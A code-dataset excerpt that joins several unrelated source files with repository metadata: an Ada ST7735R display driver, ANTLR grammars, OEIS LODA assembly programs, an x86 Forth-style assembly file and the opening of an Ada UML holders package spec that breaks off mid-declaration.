(Display : ST7735R_Screen) return Positive is (Screen_Height);
----------------
-- Is_Swapped --
----------------
overriding
function Swapped
(Display : ST7735R_Screen) return Boolean is (False);
--------------------
-- Set_Background --
--------------------
overriding
procedure Set_Background
(Display : ST7735R_Screen; R, G, B : UInt8)
is
begin
-- Does it make sense when there's no alpha channel...
raise Program_Error;
end Set_Background;
----------------------
-- Initialize_Layer --
----------------------
overriding
procedure Initialize_Layer
(Display : in out ST7735R_Screen;
Layer : Positive;
Mode : FB_Color_Mode;
X : Natural := 0;
Y : Natural := 0;
Width : Positive := Positive'Last;
Height : Positive := Positive'Last)
is
pragma Unreferenced (X, Y);
begin
if Layer /= 1 or else Mode /= RGB_565 then
raise Program_Error;
end if;
Display.Layer.Width := Width;
Display.Layer.Height := Height;
end Initialize_Layer;
-----------------
-- Initialized --
-----------------
overriding
function Initialized
(Display : ST7735R_Screen;
Layer : Positive) return Boolean
is
pragma Unreferenced (Display);
begin
return Layer = 1;
end Initialized;
------------------
-- Update_Layer --
------------------
overriding
procedure Update_Layer
(Display : in out ST7735R_Screen;
Layer : Positive;
Copy_Back : Boolean := False)
is
pragma Unreferenced (Copy_Back, Display);
begin
if Layer /= 1 then
raise Program_Error;
end if;
end Update_Layer;
-------------------
-- Update_Layers --
-------------------
overriding
procedure Update_Layers
(Display : in out ST7735R_Screen)
is
begin
Display.Update_Layer (1);
end Update_Layers;
--------------------
-- Get_Color_Mode --
--------------------
overriding
function Color_Mode
(Display : ST7735R_Screen;
Layer : Positive) return FB_Color_Mode
is
pragma Unreferenced (Display);
begin
if Layer /= 1 then
raise Program_Error;
end if;
return RGB_565;
end Color_Mode;
-----------------------
-- Get_Hidden_Buffer --
-----------------------
overriding
function Hidden_Buffer
(Display : in out ST7735R_Screen;
Layer : Positive) return not null HAL.Bitmap.Any_Bitmap_Buffer
is
begin
if Layer /= 1 then
raise Program_Error;
end if;
return Display.Layer'Unchecked_Access;
end Hidden_Buffer;
----------------
-- Pixel_Size --
----------------
overriding
function Pixel_Size
(Display : ST7735R_Screen;
Layer : Positive) return Positive is (16);
----------------
-- Set_Source --
----------------
overriding
procedure Set_Source (Buffer : in out ST7735R_Bitmap_Buffer;
Native : UInt32)
is
begin
Buffer.Native_Source := Native;
end Set_Source;
------------
-- Source --
------------
overriding
function Source
(Buffer : ST7735R_Bitmap_Buffer)
return UInt32
is
begin
return Buffer.Native_Source;
end Source;
---------------
-- Set_Pixel --
---------------
overriding
procedure Set_Pixel
(Buffer : in out ST7735R_Bitmap_Buffer;
Pt : Point)
is
begin
Buffer.LCD.Set_Pixel (UInt16 (Pt.X), UInt16 (Pt.Y),
UInt16 (Buffer.Native_Source));
end Set_Pixel;
---------------------
-- Set_Pixel_Blend --
---------------------
overriding
procedure Set_Pixel_Blend
(Buffer : in out ST7735R_Bitmap_Buffer;
Pt : Point) renames Set_Pixel;
-----------
-- Pixel --
-----------
overriding
function Pixel
(Buffer : ST7735R_Bitmap_Buffer;
Pt : Point)
return UInt32
is (UInt32 (Buffer.LCD.Pixel (UInt16 (Pt.X), UInt16 (Pt.Y))));
----------
-- Fill --
----------
overriding
procedure Fill
(Buffer : in out ST7735R_Bitmap_Buffer)
is
begin
-- Set the drawing area over the entire layer
Set_Address (Buffer.LCD.all,
0, UInt16 (Buffer.Width - 1),
0, UInt16 (Buffer.Height - 1));
-- Fill the drawing area with a single color
Write_Pix_Repeat (Buffer.LCD.all,
UInt16 (Buffer.Native_Source and 16#FFFF#),
Buffer.Width * Buffer.Height);
end Fill;
---------------
-- Fill_Rect --
---------------
overriding
procedure Fill_Rect
(Buffer : in out ST7735R_Bitmap_Buffer;
Area : Rect)
is
begin
-- Set the drawing area coresponding to the rectangle to draw
Set_Address (Buffer.LCD.all,
UInt16 (Area.Position.X),
UInt16 (Area.Position.X + Area.Width - 1),
UInt16 (Area.Position.Y),
UInt16 (Area.Position.Y + Area.Height - 1));
-- Fill the drawing area with a single color
Write_Pix_Repeat (Buffer.LCD.all,
UInt16 (Buffer.Native_Source and 16#FFFF#),
Area.Width * Area.Height);
end Fill_Rect;
------------------------
-- Draw_Vertical_Line --
------------------------
overriding
procedure Draw_Vertical_Line
(Buffer : in out ST7735R_Bitmap_Buffer;
Pt : Point;
Height : Integer)
is
begin
-- Set the drawing area coresponding to the line to draw
Set_Address (Buffer.LCD.all,
UInt16 (Pt.X),
UInt16 (Pt.X),
UInt16 (Pt.Y),
UInt16 (Pt.Y + Height - 1));
-- Fill the drawing area with a single color
Write_Pix_Repeat (Buffer.LCD.all,
UInt16 (Buffer.Native_Source and 16#FFFF#),
Height);
end Draw_Vertical_Line;
--------------------------
-- Draw_Horizontal_Line --
--------------------------
overriding
procedure Draw_Horizontal_Line
(Buffer : in out ST7735R_Bitmap_Buffer;
Pt : Point;
Width : Integer)
is
begin
-- Set the drawing area coresponding to the line to draw
Set_Address (Buffer.LCD.all,
UInt16 (Pt.X),
UInt16 (Pt.X + Width),
UInt16 (Pt.Y),
UInt16 (Pt.Y));
-- Fill the drawing area with a single color
Write_Pix_Repeat (Buffer.LCD.all,
UInt16 (Buffer.Native_Source and 16#FFFF#),
Width);
end Draw_Horizontal_Line;
end ST7735R;
|
src/main/antlr4/Operators.g4 | brettwooldridge/jet | 60 | 71 | grammar Operators;
operator : operator_character operator? ;
binary_operator : operator ;
prefix_operator : operator ;
postfix_operator : operator;
assignment_operator : '=' ;
operator_character : '/' | '=' | '-' | '+' | '!' | '*' | '%' | '<' | '>' | '&' | '|' | '^' | '~' | '.' ;
|
impl/reika-j/doc/issues/18-antlr-negative-number/Arith.g4 | at15/reika | 0 | 996 | grammar Arith;
// support negative number in ANTLR https://github.com/at15/reika/issues/18
// 12 - 3;
// 0 - 2;
// - 2 + 3;
// 1 - 2 * 3;
// 1 + 2 - 3;
prog
: (term SEMI)+
;
term
: op=(NOT | MINUS) term # TmUnary
| term op=(MUL | DIV | MOD) term # TmBinary
| term op=(ADD | MINUS) term # TmBinary
| INT # TmNum
;
SEMI : ';';
NOT: '!';
ADD: '+';
MINUS: '-';
MUL: '*';
DIV: '/';
MOD: '%';
INT
: '0'
| [1-9]+[0-9]*
;
WS : [ \t\n\r]+ -> skip;
BLOCK_COMMENT : '/*' .*? '*/' -> skip;
SINGLE_COMMENT : '//' .*? '\n' -> skip; |
programs/oeis/031/A031131.asm | neoneye/loda | 22 | 19927 | ; A031131: Difference between n-th prime and (n+2)-nd prime.
; 3,4,6,6,6,6,6,10,8,8,10,6,6,10,12,8,8,10,6,8,10,10,14,12,6,6,6,6,18,18,10,8,12,12,8,12,10,10,12,8,12,12,6,6,14,24,16,6,6,10,8,12,16,12,12,8,8,10,6,12,24,18,6,6,18,20,16,12,6,10,14,14,12,10,10,14,12,12,18,12,12,12,8,10,10,14,12,6,6,16,20,12,12,12,10,18,14,20,24,16
add $0,1
seq $0,75527 ; A008578(n+3) - A008578(n+1).
|
pbrt-java-parse/src/main/antlr4/com/github/nhirakawa/pbrt/java/parse/Pbrt.g4 | nhirakawa/pbrt-java | 0 | 1620 | grammar Pbrt;
//@header {
// package com.github.nhirakawa.pbrt.java.parse;
//}
type
: integer
| floatType
| point2
| vector2
| point3
| vector3
| normal3
| bool
| stringType
| rgb
| textureType
;
integer : 'integer' ;
floatType : 'float' ;
point2 : 'point2' ;
vector2 : 'vector2' ;
point3 : 'point3' | 'point' ;
vector3 : 'vector3' | 'vector' ;
normal3 : 'normal3' | 'normal' ;
bool : 'bool' ;
stringType : 'string' ;
rgb : 'rgb' | 'color' | 'xyz' | 'spectrum' | 'blackbody' ;
textureType : 'texture' ;
boolLiteral : 'true' | 'false' ;
stringLiteral : '"' ~('"')* '"' ;
numberLiteral : NUMBER;
singleValueArray : '[' numberLiteral ']' ;
multipleValueArray : '[' numberLiteral numberLiteral+ ']' ;
numberArrayLiteral
: numberLiteral
| singleValueArray
| multipleValueArray
;
ID : [a-zA-Z][a-zA-Z0-9]* ;
name : ID ;
value
: boolLiteral
| stringLiteral
| numberArrayLiteral
;
parameter : '"' type name '"' value ;
parameterList : parameter* ;
x : numberArrayLiteral ;
y : numberArrayLiteral ;
z : numberArrayLiteral ;
angle : numberArrayLiteral ;
identity : 'Identity' ;
translate : 'Translate' x y z ;
scale : 'Scale' x y z ;
rotate : 'Rotate' angle x y z ;
lookAt : 'LookAt' lookAtEyeX lookAtEyeY lookAtEyeZ lookAtPointX lookAtPointY lookAtPointZ lookAtUpX lookAtUpY lookAtUpZ ;
lookAtEyeX : numberArrayLiteral ;
lookAtEyeY : numberArrayLiteral ;
lookAtEyeZ : numberArrayLiteral ;
lookAtPointX : numberArrayLiteral ;
lookAtPointY : numberArrayLiteral ;
lookAtPointZ : numberArrayLiteral ;
lookAtUpX : numberArrayLiteral ;
lookAtUpY : numberArrayLiteral ;
lookAtUpZ : numberArrayLiteral ;
coordinateSystem : 'CoordinateSystem' '"' name '"';
coordinateSystemTransform : 'CoordSysTransform' '"' name '"' ;
transform : 'Transform' numberArrayLiteral ;
concatTransform : 'ConcatTransform' numberArrayLiteral ;
m00 : numberArrayLiteral ;
m01 : numberArrayLiteral ;
m02 : numberArrayLiteral ;
m03 : numberArrayLiteral ;
m10 : numberArrayLiteral ;
m11 : numberArrayLiteral ;
m12 : numberArrayLiteral ;
m13 : numberArrayLiteral ;
m20 : numberArrayLiteral ;
m21 : numberArrayLiteral ;
m22 : numberArrayLiteral ;
m23 : numberArrayLiteral ;
m30 : numberArrayLiteral ;
m31 : numberArrayLiteral ;
m32 : numberArrayLiteral ;
m33 : numberArrayLiteral ;
transformation
: identity
| translate
| scale
| rotate
| lookAt
| coordinateSystem
| coordinateSystemTransform
| transform
| concatTransform
;
film : 'Film' '"image"' parameterList ;
camera : 'Camera' '"' specificCamera ;
specificCamera
: '"' 'environment' '"' parameterList # environmentCamera
| '"' 'orthographic' '"' parameterList # orthographicCamera
| '"' 'perpsective' '"' parameterList # perspectiveCamera
| '"' 'realistic' '"' parameterList # realisticCamera
;
sampler : 'Sampler' specificSampler ;
specificSampler
: '"' ( '02sequence' | 'lowdiscrepancy' ) '"' parameterList # zeroTwoSequenceSampler
| '"' 'halton' '"' parameterList # haltonSampler
| '"' 'maxmindist' '"' parameterList # maxMinDistSampler
| '"' 'random' '"' parameterList # randomSampler
| '"' 'sobol' parameterList # sobolSampler
| '"' 'stratified' parameterList # stratifiedSampler
;
integrator : 'Integrator' specificIntegrator ;
specificIntegrator
: '"path"' parameterList # pathIntegrator
| '"bdpt"' parameterList # bdptIntegrator
| '"directlighting"' parameterList # directLightingIntegrator
| '"mlt"' parameterList # mltIntegrator
| '"sppm"' parameterList # sppmIntegrator
| '"whitted"' parameterList # whittedIntegrator
;
lightSource : 'LightSource' specificLightSourceType ;
specificLightSourceType
: '"distant"' parameterList # distantLightSource
| '"goniometric"' parameterList # goniometricLightSource
| '"infinite"' parameterList # infiniteLightSource
| '"point"' parameterList # pointLightSource
| '"projection"' parameterList # projectionLightSource
| '"spot"' parameterList # spotLightSource
;
material : 'Material' specificMaterial ;
specificMaterial
: '"disney"' parameterList # disneyMaterial
| '"fourier"' parameterList # fourierMaterial
| '"glass"' parameterList # glassMaterial
| '"hair"' parameterList # hairMaterial
| '"kdsubsurface"' parameterList # kdSubSurfaceMaterial
| '"matte"' parameterList # matteMaterial
| '"metal"' parameterList # metalMaterial
| '"mirror"' parameterList # mirrorMaterial
| '"mix"' parameterList # mixMaterial
| '"none"' parameterList # noneMaterial
| '"plastic"' parameterList # plasticMaterial
| '"substrate"' parameterList # substrateMaterial
| '"subsurface"' parameterList # subsurfaceMaterial
| '"translucent"' parameterList # translucentMaterial
| '"uber"' parameterList # uberMaterial
;
shape : 'Shape' specificShape ;
specificShape
: '"cone"' parameterList # coneShape
| '"curve"' parameterList # curveShape
| '"cylinder"' parameterList # cylinderShape
| '"disk"' parameterList # diskShape
| '"hyperboloid"' parameterList # hyperboloidShape
| '"paraboloid"' parameterList # paraboloidShape
| '"sphere"' parameterList # sphereShape
| '"trianglemesh"' parameterList # triangleMeshShape
;
texture : 'Texture' '"' name '"' '"' type '"' specificTexture ;
specificTexture
: '"billerp"' parameterList # billerpTexture
| '"checkerboard"' parameterList # checkerboardTexture
| '"constant"' parameterList # constantTexture
| '"dots"' parameterList # dotsTexture
| '"fbm"' parameterList # fbmTexture
| '"imagemap"' parameterList # imageMapTexture
| '"marble"' parameterList # marbleTexture
| '"mix"' parameterList # mixTexture
| '"scale"' parameterList # scaleTexture
| '"uv"' parameterList # uvTexture
| '"windy"' parameterList # windyTexture
| '"wrinkled"' parameterList # wrinkledTexture
;
include : 'Include' stringLiteral ;
attribute : 'AttributeBegin' attributeObject* 'AttributeEnd' ;
attributeObject
: material
| shape
| texture
| transformation
;
sceneObject
: attribute
| shape
| lightSource
| material
| texture
| include
;
world : 'WorldBegin' scene 'WorldEnd' ;
scene : sceneObject* ;
sceneWideRenderingOption
: transformation
| camera
| sampler
| integrator
| film
;
pbrt : sceneWideRenderingOption* world EOF ;
// lexer rules
NUMBER
: '-'? DIGIT*? '.' DIGIT*
| '.' DIGIT+
| '-' DIGIT+
| DIGIT+
;
DIGIT : [0-9] ;
WS : [ \t\r\n]+ -> skip ;
COMMENT : '#' ~[\r\n]* -> skip ;
|
1-base/math/source/precision/float/utility/float_math-fast_trigonometry.ads | charlie5/lace | 20 | 1492 | with
any_Math.any_fast_Trigonometry;
package float_Math.fast_Trigonometry is new float_Math.any_fast_Trigonometry;
|
programs/oeis/087/A087445.asm | neoneye/loda | 22 | 163399 | ; A087445: Numbers that are congruent to 1 or 5 mod 12.
; 1,5,13,17,25,29,37,41,49,53,61,65,73,77,85,89,97,101,109,113,121,125,133,137,145,149,157,161,169,173,181,185,193,197,205,209,217,221,229,233,241,245,253,257,265,269,277,281,289,293,301,305,313,317,325,329
mul $0,6
div $0,4
mul $0,4
add $0,1
|
x86/src/32/indexed-32.asm | sneakin/north | 2 | 245874 | bits 32
defop index->pointer,index_to_pointer
mov eax, [esp+ptrsize]
and eax, [d_index_mask+dict_entry_data]
call [d_dict_offset_a+dict_entry_code]
mov [esp+ptrsize], eax
ret
defop literal_indexed
mov eax, [eval_ip]
and eax, [d_index_mask+dict_entry_data]
call [d_dict_offset_a+dict_entry_code]
add eval_ip, [d_index_size+dict_entry_data]
pop ebx
push eax
push ebx
ret
defop eval_index ; the ToS
pop ebx
pop eax
push ebx
jmp [d_doop_index+dict_entry_code]
defop eval_ptr_index
pop ebx
pop eax
push ebx
jmp [d_doop_ptr_index+dict_entry_code]
defop doop_ptr_index
push eval_ip
mov eval_ip, eax
jmp [d_next_index+dict_entry_code]
defop doop_index ; the entry in eax
push eval_ip
mov eval_ip, [eax+dict_entry_data]
jmp [d_next_index+dict_entry_code]
defop next_index
mov eax, [eval_ip]
and eax, [d_index_mask+dict_entry_data]
add eval_ip, [d_index_size+dict_entry_data]
call [d_dict_offset_a+dict_entry_code]
call [eax+dict_entry_code]
jmp [d_next_index+dict_entry_code]
%macro defi 1
create %1, doop_index_asm, %1_ops
section .rdata_forth
%1_ops:
%endmacro
constant index_size,4
constant index_mask,0xFFFFFFFF
|
source/amf/uml/amf-internals-holders-uml_holders.ads | svn2github/matreshka | 24 | 22326 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This package contains conversion subprograms from different subclasses of
-- elements into holders. They are required to simplify generated code,
-- otherwise creation of intermediate object should be done in reflections
-- module. Most probably this package can be removed for Ada2020.
------------------------------------------------------------------------------
with AMF.UML.Abstractions;
with AMF.UML.Accept_Event_Actions;
with AMF.UML.Actions;
with AMF.UML.Activities;
with AMF.UML.Activity_Groups;
with AMF.UML.Activity_Nodes;
with AMF.UML.Activity_Partitions;
with AMF.UML.Artifacts;
with AMF.UML.Association_Classes;
with AMF.UML.Associations;
with AMF.UML.Behaviored_Classifiers;
with AMF.UML.Behavioral_Features;
with AMF.UML.Behaviors;
with AMF.UML.Call_Operation_Actions;
with AMF.UML.Classifier_Template_Parameters;
with AMF.UML.Classifiers;
with AMF.UML.Classes;
with AMF.UML.Collaboration_Uses;
with AMF.UML.Collaborations;
with AMF.UML.Combined_Fragments;
with AMF.UML.Components;
with AMF.UML.Connectable_Element_Template_Parameters;
with AMF.UML.Connectable_Elements;
with AMF.UML.Connectors;
with AMF.UML.Constraints;
with AMF.UML.Data_Types;
with AMF.UML.Dependencies;
with AMF.UML.Deployment_Targets;
with AMF.UML.Deployments;
with AMF.UML.Duration_Intervals;
with AMF.UML.Durations;
with AMF.UML.Elements;
with AMF.UML.Enumeration_Literals;
with AMF.UML.Enumerations;
with AMF.UML.Events;
with AMF.UML.Executable_Nodes;
with AMF.UML.Execution_Specifications;
with AMF.UML.Expansion_Regions;
with AMF.UML.Extension_Ends;
with AMF.UML.Input_Pins;
with AMF.UML.Instance_Specifications;
with AMF.UML.Interaction_Constraints;
with AMF.UML.Interaction_Operands;
with AMF.UML.Interactions;
with AMF.UML.Interfaces;
with AMF.UML.Interruptible_Activity_Regions;
with AMF.UML.Intervals;
with AMF.UML.Invocation_Actions;
with AMF.UML.Lifelines;
with AMF.UML.Literal_Specifications;
with AMF.UML.Message_Ends;
with AMF.UML.Messages;
with AMF.UML.Models;
with AMF.UML.Multiplicity_Elements;
with AMF.UML.Named_Elements;
with AMF.UML.Namespaces;
with AMF.UML.Object_Flows;
with AMF.UML.Object_Nodes;
with AMF.UML.Occurrence_Specifications;
with AMF.UML.Opaque_Actions;
with AMF.UML.Opaque_Expressions;
with AMF.UML.Operation_Template_Parameters;
with AMF.UML.Operations;
with AMF.UML.Output_Pins;
with AMF.UML.Packageable_Elements;
with AMF.UML.Packages;
with AMF.UML.Parameterable_Elements;
with AMF.UML.Parameters;
with AMF.UML.Part_Decompositions;
with AMF.UML.Ports;
with AMF.UML.Profiles;
with AMF.UML.Properties;
with AMF.UML.Protocol_State_Machines;
with AMF.UML.Read_Structural_Feature_Actions;
with AMF.UML.Redefinable_Elements;
with AMF.UML.Redefinable_Template_Signatures;
with AMF.UML.Regions;
with AMF.UML.Send_Object_Actions;
with AMF.UML.Send_Signal_Actions;
with AMF.UML.Signals;
with AMF.UML.State_Machines;
with AMF.UML.States;
with AMF.UML.Stereotypes;
with AMF.UML.String_Expressions;
with AMF.UML.Structured_Activity_Nodes;
with AMF.UML.Structured_Classifiers;
with AMF.UML.Structural_Features;
with AMF.UML.Template_Bindings;
with AMF.UML.Template_Parameters;
with AMF.UML.Template_Signatures;
with AMF.UML.Templateable_Elements;
with AMF.UML.Time_Events;
with AMF.UML.Time_Expressions;
with AMF.UML.Time_Intervals;
with AMF.UML.Transitions;
with AMF.UML.Triggers;
with AMF.UML.Types;
with AMF.UML.Usages;
with AMF.UML.Use_Cases;
with AMF.UML.Value_Specifications;
with AMF.UML.Variables;
with AMF.UML.Vertexs;
with AMF.UML.Write_Structural_Feature_Actions;
package AMF.Internals.Holders.UML_Holders is
function To_Holder
(Item : AMF.UML.Abstractions.UML_Abstraction_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Accept_Event_Actions.UML_Accept_Event_Action_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Actions.UML_Action_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Activities.UML_Activity_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Activity_Groups.UML_Activity_Group_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Activity_Nodes.UML_Activity_Node_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Activity_Partitions.UML_Activity_Partition_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Artifacts.UML_Artifact_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Association_Classes.UML_Association_Class_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Associations.UML_Association_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Behavioral_Features.UML_Behavioral_Feature_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Behaviored_Classifiers.UML_Behaviored_Classifier_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Behaviors.UML_Behavior_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Call_Operation_Actions.UML_Call_Operation_Action_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Classifier_Template_Parameters.UML_Classifier_Template_Parameter_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Classifiers.UML_Classifier_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Classes.UML_Class_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Collaboration_Uses.UML_Collaboration_Use_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Collaborations.UML_Collaboration_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Combined_Fragments.UML_Combined_Fragment_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Components.UML_Component_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Connectable_Element_Template_Parameters.UML_Connectable_Element_Template_Parameter_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Connectable_Elements.UML_Connectable_Element_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Connectors.UML_Connector_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Constraints.UML_Constraint_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Data_Types.UML_Data_Type_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Dependencies.UML_Dependency_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Deployment_Targets.UML_Deployment_Target_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Deployments.UML_Deployment_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Duration_Intervals.UML_Duration_Interval_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Durations.UML_Duration_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Elements.UML_Element_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Enumeration_Literals.UML_Enumeration_Literal_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Enumerations.UML_Enumeration_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Events.UML_Event_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Executable_Nodes.UML_Executable_Node_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Execution_Specifications.UML_Execution_Specification_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Expansion_Regions.UML_Expansion_Region_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Extension_Ends.UML_Extension_End_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Input_Pins.UML_Input_Pin_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Instance_Specifications.UML_Instance_Specification_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Interaction_Constraints.UML_Interaction_Constraint_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Interaction_Operands.UML_Interaction_Operand_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Interactions.UML_Interaction_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Interfaces.UML_Interface_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Interruptible_Activity_Regions.UML_Interruptible_Activity_Region_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Intervals.UML_Interval_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Invocation_Actions.UML_Invocation_Action_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Lifelines.UML_Lifeline_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Literal_Specifications.UML_Literal_Specification_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Message_Ends.UML_Message_End_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Messages.UML_Message_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Models.UML_Model_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Multiplicity_Elements.UML_Multiplicity_Element_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Named_Elements.UML_Named_Element_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Namespaces.UML_Namespace_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Object_Flows.UML_Object_Flow_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Object_Nodes.UML_Object_Node_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Occurrence_Specifications.UML_Occurrence_Specification_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Opaque_Actions.UML_Opaque_Action_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Opaque_Expressions.UML_Opaque_Expression_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Operation_Template_Parameters.UML_Operation_Template_Parameter_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Operations.UML_Operation_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Output_Pins.UML_Output_Pin_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Packageable_Elements.UML_Packageable_Element_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Packages.UML_Package_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Part_Decompositions.UML_Part_Decomposition_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Parameterable_Elements.UML_Parameterable_Element_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Parameters.UML_Parameter_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Ports.UML_Port_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Profiles.UML_Profile_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Properties.UML_Property_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Protocol_State_Machines.UML_Protocol_State_Machine_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Read_Structural_Feature_Actions.UML_Read_Structural_Feature_Action_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Redefinable_Elements.UML_Redefinable_Element_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Redefinable_Template_Signatures.UML_Redefinable_Template_Signature_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Regions.UML_Region_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Send_Object_Actions.UML_Send_Object_Action_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Send_Signal_Actions.UML_Send_Signal_Action_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Signals.UML_Signal_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.State_Machines.UML_State_Machine_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.States.UML_State_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Stereotypes.UML_Stereotype_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.String_Expressions.UML_String_Expression_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Structured_Activity_Nodes.UML_Structured_Activity_Node_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Structured_Classifiers.UML_Structured_Classifier_Access)
return League.Holders.Holder;
function To_Holder
(Item : AMF.UML.Structural_Features.UML_Structural_Feature_Access)
return League.Holders.Holder;
function To_Holder
